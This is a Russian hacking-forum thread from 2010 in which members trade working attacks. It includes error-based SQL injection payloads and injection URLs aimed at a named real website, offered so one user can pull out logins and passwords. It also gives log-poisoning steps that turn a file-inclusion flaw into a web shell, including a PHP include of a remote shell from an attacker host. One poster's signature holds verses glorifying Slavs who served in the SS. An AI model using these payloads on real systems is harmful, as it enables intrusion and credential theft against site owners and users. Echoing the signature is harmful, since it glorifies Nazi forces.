Ваши вопросы по уязвимостям.

30.01.2010, 22:32

[Feldmarschall]

Участник форума

Регистрация: 06.01.2010

Сообщений: 136

С нами: 8603287

Репутация: 87

Цитата:

Сообщение от ElteRUS

Выводи инфу в ошибку

pid=119402381+or(1,1)=(select+count(0),concat((sel ect+database()+from+information_schema.tables+limi t+0,1),floor(rand(0)*2))from(information_schema.ta bles)group+by+2)--+

огромное спасиба !! выручил сильно !!! респект тебе

𝕏 Twitter Reddit Telegram Копировать ссылку

Последний раз редактировалось [Feldmarschall]; 30.01.2010 в 22:41..

30.01.2010, 23:28

MastaBass1

Новичок

Регистрация: 25.12.2009

Сообщений: 16

С нами: 8620050

Репутация: 0

Помогите,имеется сайт http:/ /www.ollis.ru/ ,там на каждой странице при кавычке ошибка такая:
SELECT * FROM _prop WHERE obj_type='block_page' and obj_id IN ('1'') - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'')' at line 1
SELECT * FROM _prop WHERE obj_type='html_page' and obj_id IN ('block_page1'') - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''block_page1'')' at line 1

Как не пробовал вытащить информацию(пробовал order by, union select),никак не получается!Помогите как вытаскивать?
Знаю что база 5.0.22

30.01.2010, 23:36

HAXTA4OK

Reservists Of Antichat - Level 6

Регистрация: 15.03.2009

Сообщений: 560

С нами: 9030566

Репутация: 2017

Цитата:

Сообщение от MastaBass1

http://www.ollis.ru/index.php?id=cabinet')+order+by+7%23&type=cabinet& action=lost_pw&mode=return_from_hidden

http://www.ollis.ru/index.php?id=cabinet')+and+(1,2)=(Select*From(Sele ct+Name_Const(version(),1),Name_Const(version(),1) )a)%23&type=cabinet&action=lost_pw&mode=return_fro m_hidden

Цитата:

Duplicate column name '5.0.22'

__________________
В сырых могилах Второй Мировой
Солдатам снятся цветные сны.
Их кости порой видны под первой травой,
Когда сойдет снег в начале весны.
Славяне тоже сражались в отрядах СС
За чистоту арийской крови.
Теперь они дремлют за чертою небес,
Но снова встанут на бой, лишь позови.

Последний раз редактировалось HAXTA4OK; 30.01.2010 в 23:38..

31.01.2010, 00:24

MastaBass1

Новичок

Регистрация: 25.12.2009

Сообщений: 16

С нами: 8620050

Репутация: 0

Цитата:

Сообщение от HAXTA4OK

И напоследок,как вытащить логины да пароли?)Ради чего и задавал вопрос.Самому не получается.

31.01.2010, 00:44

mailbrush

Познавший АНТИЧАТ

Регистрация: 24.06.2008

Сообщений: 1,996

С нами: 9410786

Репутация: 2731

Цитата:

Сообщение от MastaBass1

И напоследок,как вытащить логины да пароли?)Ради чего и задавал вопрос.Самому не получается.

Определять название БД, колонки. Выводить их оттуда. Об этом есть немало статтей.

30.01.2010, 23:41

MastaBass1

Новичок

Регистрация: 25.12.2009

Сообщений: 16

С нами: 8620050

Репутация: 0

HAXTA4OK - Вот что значит мастер!Спасибо,я целый день мучаюсь)

30.01.2010, 23:49

547

Участник форума

Регистрация: 11.10.2009

Сообщений: 116

С нами: 8728261

Репутация: 211

у меня такая проблема...
есть lfi, на сайте стоит freebsd...
найшол по конфигу путь к логам:
/var/log/httpd-access.log
/var/log/httpd-error.log
как дальше правильно в них проинклудить шелл?

30.01.2010, 23:54

mailbrush

Познавший АНТИЧАТ

Регистрация: 24.06.2008

Сообщений: 1,996

С нами: 9410786

Репутация: 2731

Цитата:

Сообщение от 547

Код:

http://site.ru/?<?php system('ls');exit; ?>&cmd=ls

Потом инклудь логи...

31.01.2010, 00:03

547

Участник форума

Регистрация: 11.10.2009

Сообщений: 116

С нами: 8728261

Репутация: 211

Цитата:

Сообщение от mailbrush

Код:

http://site.ru/?<?php system('ls');exit; ?>&cmd=ls

Потом инклудь логи...

ну там еще можно в юзер агент впихнуть типа
<?php include('http://supervasyahacker.com/supershell.txt'); ?>
но тут еще одна проблемка логи ведутся там с 2006 года и грузятся туеву хучу времени...